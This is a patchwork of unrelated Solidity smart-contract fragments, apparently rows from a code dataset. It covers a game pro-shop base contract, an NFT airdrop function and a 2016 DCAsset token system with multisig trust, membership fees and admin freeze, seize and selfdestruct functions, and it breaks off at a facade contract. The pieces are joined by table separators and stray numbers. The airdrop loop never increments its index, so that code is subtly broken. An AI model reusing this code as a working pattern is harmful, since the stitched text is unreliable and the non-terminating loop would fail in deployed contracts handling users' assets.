* @title StockRoomBase
* @notice Defines collections, mappings, and structs for the StockRoom side of the In-game Pro Shop System
*/
contract StockRoomBase is AccessControl {
FiatContractInterface internal fiatContract;
/**
* @dev modifier to scope access to owner of given shop
*/
modifier onlyShopOwner(uint256 _shopId) {
address owner = shopToOwner[_shopId];
require(msg.sender == owner);
_;
}
/**
* @notice All of the Shops
*/
Shop[] public shops;
/**
* @notice All of the SKU Types
*/
SKUType[] public skuTypes;
/**
* @notice All of the SKUs
*/
SKU[] public skus;
/**
* @dev Mapping of Shop ID to Owner Address
*/
mapping (uint256 => address) public shopToOwner;
/**
* @dev Mapping of Owner Address to list of owned Shops
*/
mapping (address => uint256[]) public ownedShops;
/**
* @dev Mapping of Shop ID to SKU Type list
*/
mapping (uint256 => uint256[]) public shopSKUTypes;
/**
* @dev Mapping of SKU Type ID to SKU list
*/
mapping (uint256 => uint256[]) public skuTypeSKUs;
/**
* @dev Mapping of Shop ID to SKU list
*/
mapping (uint256 => uint256[]) public shopSKUs;
/**
* @notice Structure of a Pro Shop
*/
struct Shop {
// Owner of the item
address owner;
// The id of this shop
uint256 shopId;
// Name of the item
string name;
// Description of the shop
string description;
// Fiat currency for prices
string fiat;
}
/**
* @notice the attributes of an item
*/
struct SKUType {
// ID of the Shop this SKU Type belongs to
uint256 shopId;
// ID of the SKU Type
uint256 skuTypeId;
// Name of the SKU Type
string name;
// Description of the SKU Type (optional)
string description;
}
/**
* @notice Structure of a Pro Shop SKU (Shopkeeping Unit)
*/
struct SKU {
// The shop this SKU belongs to
uint256 shopId;
// The id of this SKU
uint256 skuId;
// Type of the SKU
uint256 skuTypeId;
// Price of the SKU
uint256 price;
// Name of the item
string name;
// Description of the SKU
string description;
// Can it be consumed (used up)
bool consumable;
// Is there a limit to the number of Items that can
// be minted from this SKU?
bool limited;
// If limited, what is the maximum number that
// can be created?
uint256 limit;
}
}
|
* @dev Mapping of Shop ID to SKU Type list/
|
mapping (uint256 => uint256[]) public shopSKUTypes;
| 12,855,007
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./full_match/1/0x0000000000F7A60F1C88F317f369e3D8679C6689/sources/contracts/tokens/ERC721/Layerr721.sol
|
* @inheritdoc ILayerr721/
|
function airdrop(address[] calldata recipients, uint256[] calldata tokenIds) external onlyOwner {
for(uint256 index = 0;index < recipients.length;) {
_mint(msg.sender, recipients[index], tokenIds[index]);
}
}
| 17,130,900
|
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//Address: 0xcc992b0bb9789e4e323bef8b7241ffe85487c2a6
//Contract name: DCAssetBackend
//Balance: 0 Ether
//Verification Date: 9/15/2016
//Transacion Count: 65
// CODE STARTS HERE
contract Assertive {
function assert(bool assertion) {
if (!assertion) throw;
}
}
contract TokenRecipient {
function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData);
}
contract Owned is Assertive {
address internal owner;
event SetOwner(address indexed previousOwner, address indexed newOwner);
function Owned () {
owner = msg.sender;
}
modifier onlyOwner {
assert(msg.sender == owner);
_
}
function setOwner(address newOwner) onlyOwner {
SetOwner(owner, newOwner);
owner = newOwner;
}
function getOwner() returns (address out) {
return owner;
}
}
contract StateTransferrable is Owned {
bool internal locked;
event Locked(address indexed from);
event PropertySet(address indexed from);
modifier onlyIfUnlocked {
assert(!locked);
_
}
modifier setter {
_
PropertySet(msg.sender);
}
modifier onlyOwnerUnlocked {
assert(!locked && msg.sender == owner);
_
}
function lock() onlyOwner onlyIfUnlocked {
locked = true;
Locked(msg.sender);
}
function isLocked() returns (bool status) {
return locked;
}
}
contract TrustEvents {
event AuthInit(address indexed from);
event AuthComplete(address indexed from, address indexed with);
event AuthPending(address indexed from);
event Unauthorized(address indexed from);
event InitCancel(address indexed from);
event NothingToCancel(address indexed from);
event SetMasterKey(address indexed from);
event AuthCancel(address indexed from, address indexed with);
event NameRegistered(address indexed from, bytes32 indexed name);
}
contract Trust is StateTransferrable, TrustEvents {
mapping (address => bool) public masterKeys;
mapping (address => bytes32) public nameRegistry;
address[] public masterKeyIndex;
mapping (address => bool) public masterKeyActive;
mapping (address => bool) public trustedClients;
mapping (bytes32 => address) public functionCalls;
mapping (address => bytes32) public functionCalling;
function activateMasterKey(address addr) internal {
if (!masterKeyActive[addr]) {
masterKeyActive[addr] = true;
masterKeyIndex.push(addr);
}
}
function setTrustedClient(address addr) onlyOwnerUnlocked setter {
trustedClients[addr] = true;
}
function untrustClient(address addr) multisig(sha3(msg.data)) {
trustedClients[addr] = false;
}
function trustClient(address addr) multisig(sha3(msg.data)) {
trustedClients[addr] = true;
}
function setMasterKey(address addr) onlyOwnerUnlocked {
assert(!masterKeys[addr]);
activateMasterKey(addr);
masterKeys[addr] = true;
SetMasterKey(msg.sender);
}
modifier onlyMasterKey {
assert(masterKeys[msg.sender]);
_
}
function extractMasterKeyIndexLength() returns (uint256 length) {
return masterKeyIndex.length;
}
function resetAction(bytes32 hash) internal {
address addr = functionCalls[hash];
functionCalls[hash] = 0x0;
functionCalling[addr] = bytes32(0);
}
function authCancel(address from) external returns (uint8 status) {
if (!masterKeys[from] || !trustedClients[msg.sender]) {
Unauthorized(from);
return 0;
}
bytes32 call = functionCalling[from];
if (call == bytes32(0)) {
NothingToCancel(from);
return 1;
} else {
AuthCancel(from, from);
functionCalling[from] = bytes32(0);
functionCalls[call] = 0x0;
return 2;
}
}
function cancel() returns (uint8 code) {
if (!masterKeys[msg.sender]) {
Unauthorized(msg.sender);
return 0;
}
bytes32 call = functionCalling[msg.sender];
if (call == bytes32(0)) {
NothingToCancel(msg.sender);
return 1;
} else {
AuthCancel(msg.sender, msg.sender);
bytes32 hash = functionCalling[msg.sender];
functionCalling[msg.sender] = 0x0;
functionCalls[hash] = 0;
return 2;
}
}
function authCall(address from, bytes32 hash) external returns (uint8 code) {
if (!masterKeys[from] && !trustedClients[msg.sender]) {
Unauthorized(from);
return 0;
}
if (functionCalling[from] == 0) {
if (functionCalls[hash] == 0x0) {
functionCalls[hash] = from;
functionCalling[from] = hash;
AuthInit(from);
return 1;
} else {
AuthComplete(functionCalls[hash], from);
resetAction(hash);
return 2;
}
} else {
AuthPending(from);
return 3;
}
}
modifier multisig (bytes32 hash) {
if (!masterKeys[msg.sender]) {
Unauthorized(msg.sender);
} else if (functionCalling[msg.sender] == 0) {
if (functionCalls[hash] == 0x0) {
functionCalls[hash] = msg.sender;
functionCalling[msg.sender] = hash;
AuthInit(msg.sender);
} else {
AuthComplete(functionCalls[hash], msg.sender);
resetAction(hash);
_
}
} else {
AuthPending(msg.sender);
}
}
function voteOutMasterKey(address addr) multisig(sha3(msg.data)) {
assert(masterKeys[addr]);
masterKeys[addr] = false;
}
function voteInMasterKey(address addr) multisig(sha3(msg.data)) {
assert(!masterKeys[addr]);
activateMasterKey(addr);
masterKeys[addr] = true;
}
function identify(bytes32 name) onlyMasterKey {
nameRegistry[msg.sender] = name;
NameRegistered(msg.sender, name);
}
function nameFor(address addr) returns (bytes32 name) {
return nameRegistry[addr];
}
}
contract TrustClient is StateTransferrable, TrustEvents {
address public trustAddress;
function setTrust(address addr) setter onlyOwnerUnlocked {
trustAddress = addr;
}
function nameFor(address addr) constant returns (bytes32 name) {
return Trust(trustAddress).nameFor(addr);
}
function cancel() returns (uint8 status) {
assert(trustAddress != address(0x0));
uint8 code = Trust(trustAddress).authCancel(msg.sender);
if (code == 0) Unauthorized(msg.sender);
else if (code == 1) NothingToCancel(msg.sender);
else if (code == 2) AuthCancel(msg.sender, msg.sender);
return code;
}
modifier multisig (bytes32 hash) {
assert(trustAddress != address(0x0));
address current = Trust(trustAddress).functionCalls(hash);
uint8 code = Trust(trustAddress).authCall(msg.sender, hash);
if (code == 0) Unauthorized(msg.sender);
else if (code == 1) AuthInit(msg.sender);
else if (code == 2) {
AuthComplete(current, msg.sender);
_
}
else if (code == 3) {
AuthPending(msg.sender);
}
}
}
contract Relay {
function relayReceiveApproval(address _caller, address _spender, uint256 _amount, bytes _extraData) returns (bool success);
}
contract TokenBase is Owned {
bytes32 public standard = 'Token 0.1';
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
bool public allowTransactions;
event Approval(address indexed from, address indexed spender, uint256 amount);
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function transfer(address _to, uint256 _value) returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function () {
throw;
}
}
contract Precision {
uint8 public decimals;
}
contract Token is TokenBase, Precision {}
contract Util {
function pow10(uint256 a, uint8 b) internal returns (uint256 result) {
for (uint8 i = 0; i < b; i++) {
a *= 10;
}
return a;
}
function div10(uint256 a, uint8 b) internal returns (uint256 result) {
for (uint8 i = 0; i < b; i++) {
a /= 10;
}
return a;
}
function max(uint256 a, uint256 b) internal returns (uint256 res) {
if (a >= b) return a;
return b;
}
}
/**
* @title DVIP Contract. DCAsset Membership Token contract.
*
* @author Ray Pulver, ray@decentralizedcapital.com
*/
contract DVIP is Token, StateTransferrable, TrustClient, Util {
uint256 public totalSupply;
mapping (address => bool) public frozenAccount;
mapping (address => address[]) public allowanceIndex;
mapping (address => mapping (address => bool)) public allowanceActive;
address[] public accountIndex;
mapping (address => bool) public accountActive;
address public oversightAddress;
uint256 public expiry;
uint256 public treasuryBalance;
bool public isActive;
mapping (address => uint256) public exportFee;
address[] public exportFeeIndex;
mapping (address => bool) exportFeeActive;
mapping (address => uint256) public importFee;
address[] public importFeeIndex;
mapping (address => bool) importFeeActive;
event FrozenFunds(address target, bool frozen);
event PrecisionSet(address indexed from, uint8 precision);
event TransactionsShutDown(address indexed from);
event FeeSetup(address indexed from, address indexed target, uint256 amount);
/**
* Constructor.
*
*/
function DVIP() {
isActive = true;
treasuryBalance = 0;
totalSupply = 0;
name = "DVIP";
symbol = "DVIP";
decimals = 6;
allowTransactions = true;
expiry = 1514764800; //1 jan 2018
}
/* --------------- modifiers --------------*/
/**
* Makes sure a method is only called by an overseer.
*/
modifier onlyOverseer {
assert(msg.sender == oversightAddress);
_
}
/* --------------- setter methods, only for the unlocked state --------------*/
/**
* Sets the oversight address (not the contract).
*
* @param addr The oversight contract address.
*/
function setOversight(address addr) onlyOwnerUnlocked setter {
oversightAddress = addr;
}
/**
* Sets the total supply
*
* @param total Total supply of the asset.
*/
function setTotalSupply(uint256 total) onlyOwnerUnlocked setter {
totalSupply = total;
}
/**
* Set the Token Standard the contract applies to.
*
* @param std the Standard.
*/
function setStandard(bytes32 std) onlyOwnerUnlocked setter {
standard = std;
}
/**
* Sets the name of the contraxt
*
* @param _name the name.
*/
function setName(bytes32 _name) onlyOwnerUnlocked setter {
name = _name;
}
/**
* Sets the symbol
*
* @param sym The Symbol
*/
function setSymbol(bytes32 sym) onlyOwnerUnlocked setter {
symbol = sym;
}
/**
* Sets the precision
*
* @param precision Amount of decimals
*/
function setPrecisionDirect(uint8 precision) onlyOwnerUnlocked {
decimals = precision;
PrecisionSet(msg.sender, precision);
}
/**
* Sets the balance of a certain account.
*
* @param addr Address of the account
* @param amount Amount of assets to set on the account
*/
function setAccountBalance(address addr, uint256 amount) onlyOwnerUnlocked {
balanceOf[addr] = amount;
activateAccount(addr);
}
/**
* Sets an allowance from a specific account to a specific account.
*
* @param from From-part of the allowance
* @param to To-part of the allowance
* @param amount Amount of the allowance
*/
function setAccountAllowance(address from, address to, uint256 amount) onlyOwnerUnlocked {
allowance[from][to] = amount;
activateAllowanceRecord(from, to);
}
/**
* Sets the treasure balance to a certain account.
*
* @param amount Amount of assets to pre-set in the treasury
*/
function setTreasuryBalance(uint256 amount) onlyOwnerUnlocked {
treasuryBalance = amount;
}
/**
* Sets a certain account on frozen/unfrozen
*
* @param addr Account that will be frozen/unfrozen
* @param frozen Boolean to freeze or unfreeze
*/
function setAccountFrozenStatus(address addr, bool frozen) onlyOwnerUnlocked {
activateAccount(addr);
frozenAccount[addr] = frozen;
}
/**
* Sets up a import fee for a certain address.
*
* @param addr Address that will require fee
* @param fee Amount of fee
*/
function setupImportFee(address addr, uint256 fee) onlyOwnerUnlocked {
importFee[addr] = fee;
activateImportFeeChargeRecord(addr);
FeeSetup(msg.sender, addr, fee);
}
/**
* Sets up a export fee for a certain address.
*
* @param addr Address that will require fee
* @param fee Amount of fee
*/
function setupExportFee(address addr, uint256 fee) onlyOwnerUnlocked {
exportFee[addr] = fee;
activateExportFeeChargeRecord(addr);
FeeSetup(msg.sender, addr, fee);
}
/* --------------- main token methods --------------*/
/**
* @notice Transfer `_amount` from `msg.sender.address()` to `_to`.
*
* @param _to Address that will receive.
* @param _amount Amount to be transferred.
*/
function transfer(address _to, uint256 _amount) returns (bool success) {
assert(allowTransactions);
assert(!frozenAccount[msg.sender]);
assert(balanceOf[msg.sender] >= _amount);
assert(balanceOf[_to] + _amount >= balanceOf[_to]);
activateAccount(msg.sender);
activateAccount(_to);
balanceOf[msg.sender] -= _amount;
if (_to == address(this)) treasuryBalance += _amount;
else balanceOf[_to] += _amount;
Transfer(msg.sender, _to, _amount);
return true;
}
/**
* @notice Transfer `_amount` from `_from` to `_to`.
*
* @param _from Origin address
* @param _to Address that will receive
* @param _amount Amount to be transferred.
* @return result of the method call
*/
function transferFrom(address _from, address _to, uint256 _amount) returns (bool success) {
assert(allowTransactions);
assert(!frozenAccount[msg.sender]);
assert(!frozenAccount[_from]);
assert(balanceOf[_from] >= _amount);
assert(balanceOf[_to] + _amount >= balanceOf[_to]);
assert(_amount <= allowance[_from][msg.sender]);
balanceOf[_from] -= _amount;
balanceOf[_to] += _amount;
allowance[_from][msg.sender] -= _amount;
activateAccount(_from);
activateAccount(_to);
activateAccount(msg.sender);
Transfer(_from, _to, _amount);
return true;
}
/**
* @notice Approve spender `_spender` to transfer `_amount` from `msg.sender.address()`
*
* @param _spender Address that receives the cheque
* @param _amount Amount on the cheque
* @param _extraData Consequential contract to be executed by spender in same transcation.
* @return result of the method call
*/
function approveAndCall(address _spender, uint256 _amount, bytes _extraData) returns (bool success) {
assert(allowTransactions);
assert(!frozenAccount[msg.sender]);
allowance[msg.sender][_spender] = _amount;
activateAccount(msg.sender);
activateAccount(_spender);
activateAllowanceRecord(msg.sender, _spender);
TokenRecipient spender = TokenRecipient(_spender);
spender.receiveApproval(msg.sender, _amount, this, _extraData);
Approval(msg.sender, _spender, _amount);
return true;
}
/**
* @notice Approve spender `_spender` to transfer `_amount` from `msg.sender.address()`
*
* @param _spender Address that receives the cheque
* @param _amount Amount on the cheque
* @return result of the method call
*/
function approve(address _spender, uint256 _amount) returns (bool success) {
assert(allowTransactions);
assert(!frozenAccount[msg.sender]);
allowance[msg.sender][_spender] = _amount;
activateAccount(msg.sender);
activateAccount(_spender);
activateAllowanceRecord(msg.sender, _spender);
Approval(msg.sender, _spender, _amount);
return true;
}
/* --------------- multisig admin methods --------------*/
/**
* @notice Sets the expiry time in milliseconds since 1970.
*
* @param ts milliseconds since 1970.
*
*/
function setExpiry(uint256 ts) multisig(sha3(msg.data)) {
expiry = ts;
}
/**
* @notice Mints `mintedAmount` new tokens to the hotwallet `hotWalletAddress`.
*
* @param mintedAmount Amount of new tokens to be minted.
*/
function mint(uint256 mintedAmount) multisig(sha3(msg.data)) {
treasuryBalance += mintedAmount;
totalSupply += mintedAmount;
}
/**
* @notice Destroys `destroyAmount` new tokens from the hotwallet `hotWalletAddress`
*
* @param destroyAmount Amount of new tokens to be minted.
*/
function destroyTokens(uint256 destroyAmount) multisig(sha3(msg.data)) {
assert(treasuryBalance >= destroyAmount);
treasuryBalance -= destroyAmount;
totalSupply -= destroyAmount;
}
/**
* @notice Transfers `amount` from the treasury to `to`
*
* @param to Address to transfer to
* @param amount Amount to transfer from treasury
*/
function transferFromTreasury(address to, uint256 amount) multisig(sha3(msg.data)) {
assert(treasuryBalance >= amount);
treasuryBalance -= amount;
balanceOf[to] += amount;
activateAccount(to);
}
/* --------------- fee setting administration methods --------------*/
/**
* @notice Sets an import fee of `fee` on address `addr`
*
* @param addr Address for which the fee is valid
* @param addr fee Fee
*
*/
function setImportFee(address addr, uint256 fee) multisig(sha3(msg.data)) {
uint256 max = 1;
max = pow10(1, decimals);
assert(fee <= max);
importFee[addr] = fee;
activateImportFeeChargeRecord(addr);
}
/**
* @notice Sets an export fee of `fee` on address `addr`
*
* @param addr Address for which the fee is valid
* @param addr fee Fee
*
*/
function setExportFee(address addr, uint256 fee) multisig(sha3(msg.data)) {
uint256 max = 1;
max = pow10(1, decimals);
assert(fee <= max);
exportFee[addr] = fee;
activateExportFeeChargeRecord(addr);
}
/* --------------- multisig emergency methods --------------*/
/**
* @notice Sets allow transactions to `allow`
*
* @param allow Allow or disallow transactions
*/
function voteAllowTransactions(bool allow) multisig(sha3(msg.data)) {
assert(allow != allowTransactions);
allowTransactions = allow;
}
/**
* @notice Destructs the contract and sends remaining `this.balance` Ether to `beneficiary`
*
* @param beneficiary Beneficiary of remaining Ether on contract
*/
function voteSuicide(address beneficiary) multisig(sha3(msg.data)) {
selfdestruct(beneficiary);
}
/**
* @notice Sets frozen to `freeze` for account `target`
*
* @param addr Address to be frozen/unfrozen
* @param freeze Freeze/unfreeze account
*/
function freezeAccount(address addr, bool freeze) multisig(sha3(msg.data)) {
frozenAccount[addr] = freeze;
activateAccount(addr);
}
/**
* @notice Seizes `seizeAmount` of tokens from `address` and transfers it to hotwallet
*
* @param addr Adress to seize tokens from
* @param amount Amount of tokens to seize
*/
function seizeTokens(address addr, uint256 amount) multisig(sha3(msg.data)) {
assert(balanceOf[addr] >= amount);
assert(frozenAccount[addr]);
activateAccount(addr);
balanceOf[addr] -= amount;
treasuryBalance += amount;
}
/* --------------- fee calculation method ---------------- */
/**
* @notice 'Returns the fee for a transfer from `from` to `to` on an amount `amount`.
*
* Fee's consist of a possible
* - import fee on transfers to an address
* - export fee on transfers from an address
* DVIP ownership on an address
* - reduces fee on a transfer from this address to an import fee-ed address
* - reduces the fee on a transfer to this address from an export fee-ed address
* DVIP discount does not work for addresses that have an import fee or export fee set up against them.
*
* DVIP discount goes up to 100%
*
* @param from From address
* @param to To address
* @param amount Amount for which fee needs to be calculated.
*
*/
function feeFor(address from, address to, uint256 amount) constant external returns (uint256 value) {
uint256 fee = exportFee[from] + importFee[to];
if (fee == 0) return 0;
uint256 amountHeld;
bool discounted = true;
uint256 oneDVIPUnit;
if (exportFee[from] == 0 && balanceOf[from] != 0 && now < expiry) {
amountHeld = balanceOf[from];
} else if (importFee[to] == 0 && balanceOf[to] != 0 && now < expiry) {
amountHeld = balanceOf[to];
} else discounted = false;
if (discounted) {
oneDVIPUnit = pow10(1, decimals);
if (amountHeld > oneDVIPUnit) amountHeld = oneDVIPUnit;
uint256 remaining = oneDVIPUnit - amountHeld;
return div10(amount*fee*remaining, decimals*2);
}
return div10(amount*fee, decimals);
}
/* --------------- overseer methods for emergency --------------*/
/**
* @notice Shuts down all transaction and approval options on the asset contract
*/
function shutdownTransactions() onlyOverseer {
allowTransactions = false;
TransactionsShutDown(msg.sender);
}
/* --------------- helper methods for siphoning --------------*/
function extractAccountAllowanceRecordLength(address addr) constant returns (uint256 len) {
return allowanceIndex[addr].length;
}
function extractAccountLength() constant returns (uint256 length) {
return accountIndex.length;
}
/* --------------- private methods --------------*/
function activateAccount(address addr) internal {
if (!accountActive[addr]) {
accountActive[addr] = true;
accountIndex.push(addr);
}
}
function activateAllowanceRecord(address from, address to) internal {
if (!allowanceActive[from][to]) {
allowanceActive[from][to] = true;
allowanceIndex[from].push(to);
}
}
function activateExportFeeChargeRecord(address addr) internal {
if (!exportFeeActive[addr]) {
exportFeeActive[addr] = true;
exportFeeIndex.push(addr);
}
}
function activateImportFeeChargeRecord(address addr) internal {
if (!importFeeActive[addr]) {
importFeeActive[addr] = true;
importFeeIndex.push(addr);
}
}
function extractImportFeeChargeLength() returns (uint256 length) {
return importFeeIndex.length;
}
function extractExportFeeChargeLength() returns (uint256 length) {
return exportFeeIndex.length;
}
}
/**
* @title DCAssetBackend Contract
*
* @author Ray Pulver, ray@decentralizedcapital.com
*/
contract DCAssetBackend is Owned, Precision, StateTransferrable, TrustClient, Util {
bytes32 public standard = 'Token 0.1';
bytes32 public name;
bytes32 public symbol;
bool public allowTransactions;
event Approval(address indexed from, address indexed spender, uint256 amount);
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
uint256 public totalSupply;
address public hotWalletAddress;
address public assetAddress;
address public oversightAddress;
address public membershipAddress;
mapping (address => bool) public frozenAccount;
mapping (address => address[]) public allowanceIndex;
mapping (address => mapping (address => bool)) public allowanceActive;
address[] public accountIndex;
mapping (address => bool) public accountActive;
bool public isActive;
uint256 public treasuryBalance;
mapping (address => uint256) public feeCharge;
address[] public feeChargeIndex;
mapping (address => bool) feeActive;
event FrozenFunds(address target, bool frozen);
event PrecisionSet(address indexed from, uint8 precision);
event TransactionsShutDown(address indexed from);
event FeeSetup(address indexed from, address indexed target, uint256 amount);
/**
* Constructor.
*
* @param tokenName Name of the Token
* @param tokenSymbol The Token Symbol
*/
function DCAssetBackend(bytes32 tokenSymbol, bytes32 tokenName) {
isActive = true;
name = tokenName;
symbol = tokenSymbol;
decimals = 6;
allowTransactions = true;
}
/* --------------- modifiers --------------*/
/**
* Makes sure a method is only called by an overseer.
*/
modifier onlyOverseer {
assert(msg.sender == oversightAddress);
_
}
/**
* Make sure only the front end Asset can call the transfer methods
*/
modifier onlyAsset {
assert(msg.sender == assetAddress);
_
}
/* --------------- setter methods, only for the unlocked state --------------*/
/**
* Sets the hot wallet contract address
*
* @param addr Address of the Hotwallet
*/
function setHotWallet(address addr) onlyOwnerUnlocked setter {
hotWalletAddress = addr;
}
/**
* Sets the token facade contract address
*
* @param addr Address of the front-end Asset
*/
function setAsset(address addr) onlyOwnerUnlocked setter {
assetAddress = addr;
}
/**
* Sets the membership contract address
*
* @param addr Address of the membership contract
*/
function setMembership(address addr) onlyOwnerUnlocked setter {
membershipAddress = addr;
}
/**
* Sets the oversight address (not the contract).
*
* @param addr The oversight contract address.
*/
function setOversight(address addr) onlyOwnerUnlocked setter {
oversightAddress = addr;
}
/**
* Sets the total supply
*
* @param total Total supply of the asset.
*/
function setTotalSupply(uint256 total) onlyOwnerUnlocked setter {
totalSupply = total;
}
/**
* Set the Token Standard the contract applies to.
*
* @param std the Standard.
*/
function setStandard(bytes32 std) onlyOwnerUnlocked setter {
standard = std;
}
/**
* Sets the name of the contraxt
*
* @param _name the name.
*/
function setName(bytes32 _name) onlyOwnerUnlocked setter {
name = _name;
}
/**
* Sets the symbol
*
* @param sym The Symbol
*/
function setSymbol(bytes32 sym) onlyOwnerUnlocked setter {
symbol = sym;
}
/**
* Sets the precision
*
* @param precision Amount of decimals
*/
function setPrecisionDirect(uint8 precision) onlyOwnerUnlocked {
decimals = precision;
PrecisionSet(msg.sender, precision);
}
/**
* Sets the balance of a certain account.
*
* @param addr Address of the account
* @param amount Amount of assets to set on the account
*/
function setAccountBalance(address addr, uint256 amount) onlyOwnerUnlocked {
balanceOf[addr] = amount;
activateAccount(addr);
}
/**
* Sets an allowance from a specific account to a specific account.
*
* @param from From-part of the allowance
* @param to To-part of the allowance
* @param amount Amount of the allowance
*/
function setAccountAllowance(address from, address to, uint256 amount) onlyOwnerUnlocked {
allowance[from][to] = amount;
activateAllowanceRecord(from, to);
}
/**
* Sets the treasure balance to a certain account.
*
* @param amount Amount of assets to pre-set in the treasury
*/
function setTreasuryBalance(uint256 amount) onlyOwnerUnlocked {
treasuryBalance = amount;
}
/**
* Sets a certain account on frozen/unfrozen
*
* @param addr Account that will be frozen/unfrozen
* @param frozen Boolean to freeze or unfreeze
*/
function setAccountFrozenStatus(address addr, bool frozen) onlyOwnerUnlocked {
activateAccount(addr);
frozenAccount[addr] = frozen;
}
/* --------------- main token methods --------------*/
/**
* @notice Transfer `_amount` from `_caller` to `_to`.
*
* @param _caller Origin address
* @param _to Address that will receive.
* @param _amount Amount to be transferred.
*/
function transfer(address _caller, address _to, uint256 _amount) onlyAsset returns (bool success) {
assert(allowTransactions);
assert(!frozenAccount[_caller]);
assert(balanceOf[_caller] >= _amount);
assert(balanceOf[_to] + _amount >= balanceOf[_to]);
activateAccount(_caller);
activateAccount(_to);
balanceOf[_caller] -= _amount;
if (_to == address(this)) treasuryBalance += _amount;
else {
uint256 fee = feeFor(_caller, _to, _amount);
balanceOf[_to] += _amount - fee;
treasuryBalance += fee;
}
Transfer(_caller, _to, _amount);
return true;
}
/**
* @notice Transfer `_amount` from `_from` to `_to`, invoked by `_caller`.
*
* @param _caller Invoker of the call (owner of the allowance)
* @param _from Origin address
* @param _to Address that will receive
* @param _amount Amount to be transferred.
* @return result of the method call
*/
function transferFrom(address _caller, address _from, address _to, uint256 _amount) onlyAsset returns (bool success) {
assert(allowTransactions);
assert(!frozenAccount[_caller]);
assert(!frozenAccount[_from]);
assert(balanceOf[_from] >= _amount);
assert(balanceOf[_to] + _amount >= balanceOf[_to]);
assert(_amount <= allowance[_from][_caller]);
balanceOf[_from] -= _amount;
uint256 fee = feeFor(_from, _to, _amount);
balanceOf[_to] += _amount - fee;
treasuryBalance += fee;
allowance[_from][_caller] -= _amount;
activateAccount(_from);
activateAccount(_to);
activateAccount(_caller);
Transfer(_from, _to, _amount);
return true;
}
/**
* @notice Approve Approves spender `_spender` to transfer `_amount` from `_caller`
*
* @param _caller Address that grants the allowance
* @param _spender Address that receives the cheque
* @param _amount Amount on the cheque
* @param _extraData Consequential contract to be executed by spender in same transcation.
* @return result of the method call
*/
function approveAndCall(address _caller, address _spender, uint256 _amount, bytes _extraData) onlyAsset returns (bool success) {
assert(allowTransactions);
assert(!frozenAccount[_caller]);
allowance[_caller][_spender] = _amount;
activateAccount(_caller);
activateAccount(_spender);
activateAllowanceRecord(_caller, _spender);
TokenRecipient spender = TokenRecipient(_spender);
assert(Relay(assetAddress).relayReceiveApproval(_caller, _spender, _amount, _extraData));
Approval(_caller, _spender, _amount);
return true;
}
/**
* @notice Approve Approves spender `_spender` to transfer `_amount` from `_caller`
*
* @param _caller Address that grants the allowance
* @param _spender Address that receives the cheque
* @param _amount Amount on the cheque
* @return result of the method call
*/
function approve(address _caller, address _spender, uint256 _amount) onlyAsset returns (bool success) {
assert(allowTransactions);
assert(!frozenAccount[_caller]);
allowance[_caller][_spender] = _amount;
activateAccount(_caller);
activateAccount(_spender);
activateAllowanceRecord(_caller, _spender);
Approval(_caller, _spender, _amount);
return true;
}
/* --------------- multisig admin methods --------------*/
/**
* @notice Mints `mintedAmount` new tokens to the hotwallet `hotWalletAddress`.
*
* @param mintedAmount Amount of new tokens to be minted.
*/
function mint(uint256 mintedAmount) multisig(sha3(msg.data)) {
activateAccount(hotWalletAddress);
balanceOf[hotWalletAddress] += mintedAmount;
totalSupply += mintedAmount;
}
/**
* @notice Destroys `destroyAmount` new tokens from the hotwallet `hotWalletAddress`
*
* @param destroyAmount Amount of new tokens to be minted.
*/
function destroyTokens(uint256 destroyAmount) multisig(sha3(msg.data)) {
assert(balanceOf[hotWalletAddress] >= destroyAmount);
activateAccount(hotWalletAddress);
balanceOf[hotWalletAddress] -= destroyAmount;
totalSupply -= destroyAmount;
}
/**
* @notice Transfers `amount` from the treasury to `to`
*
* @param to Address to transfer to
* @param amount Amount to transfer from treasury
*/
function transferFromTreasury(address to, uint256 amount) multisig(sha3(msg.data)) {
assert(treasuryBalance >= amount);
treasuryBalance -= amount;
balanceOf[to] += amount;
activateAccount(to);
}
/* --------------- multisig emergency methods --------------*/
/**
* @notice Sets allow transactions to `allow`
*
* @param allow Allow or disallow transactions
*/
function voteAllowTransactions(bool allow) multisig(sha3(msg.data)) {
if (allow == allowTransactions) throw;
allowTransactions = allow;
}
/**
* @notice Destructs the contract and sends remaining `this.balance` Ether to `beneficiary`
*
* @param beneficiary Beneficiary of remaining Ether on contract
*/
function voteSuicide(address beneficiary) multisig(sha3(msg.data)) {
selfdestruct(beneficiary);
}
/**
* @notice Sets frozen to `freeze` for account `target`
*
* @param addr Address to be frozen/unfrozen
* @param freeze Freeze/unfreeze account
*/
function freezeAccount(address addr, bool freeze) multisig(sha3(msg.data)) {
frozenAccount[addr] = freeze;
activateAccount(addr);
}
/**
* @notice Seizes `seizeAmount` of tokens from `address` and transfers it to hotwallet
*
* @param addr Adress to seize tokens from
* @param amount Amount of tokens to seize
*/
function seizeTokens(address addr, uint256 amount) multisig(sha3(msg.data)) {
assert(balanceOf[addr] >= amount);
assert(frozenAccount[addr]);
activateAccount(addr);
balanceOf[addr] -= amount;
balanceOf[hotWalletAddress] += amount;
}
/* --------------- overseer methods for emergency --------------*/
/**
* @notice Shuts down all transaction and approval options on the asset contract
*/
function shutdownTransactions() onlyOverseer {
allowTransactions = false;
TransactionsShutDown(msg.sender);
}
/* --------------- helper methods for siphoning --------------*/
function extractAccountAllowanceRecordLength(address addr) returns (uint256 len) {
return allowanceIndex[addr].length;
}
function extractAccountLength() returns (uint256 length) {
return accountIndex.length;
}
/* --------------- private methods --------------*/
function activateAccount(address addr) internal {
if (!accountActive[addr]) {
accountActive[addr] = true;
accountIndex.push(addr);
}
}
function activateAllowanceRecord(address from, address to) internal {
if (!allowanceActive[from][to]) {
allowanceActive[from][to] = true;
allowanceIndex[from].push(to);
}
}
function feeFor(address a, address b, uint256 amount) returns (uint256 value) {
if (membershipAddress == address(0x0)) return 0;
return DVIP(membershipAddress).feeFor(a, b, amount);
}
}
/**
* @title DCAssetFacade, Facade for the underlying back-end dcasset token contract. Allow to be updated later.
*
* @author P.S.D. Reitsma, peter@decentralizedcapital.com
*
*/
contract DCAsset is TokenBase, StateTransferrable, TrustClient, Relay {
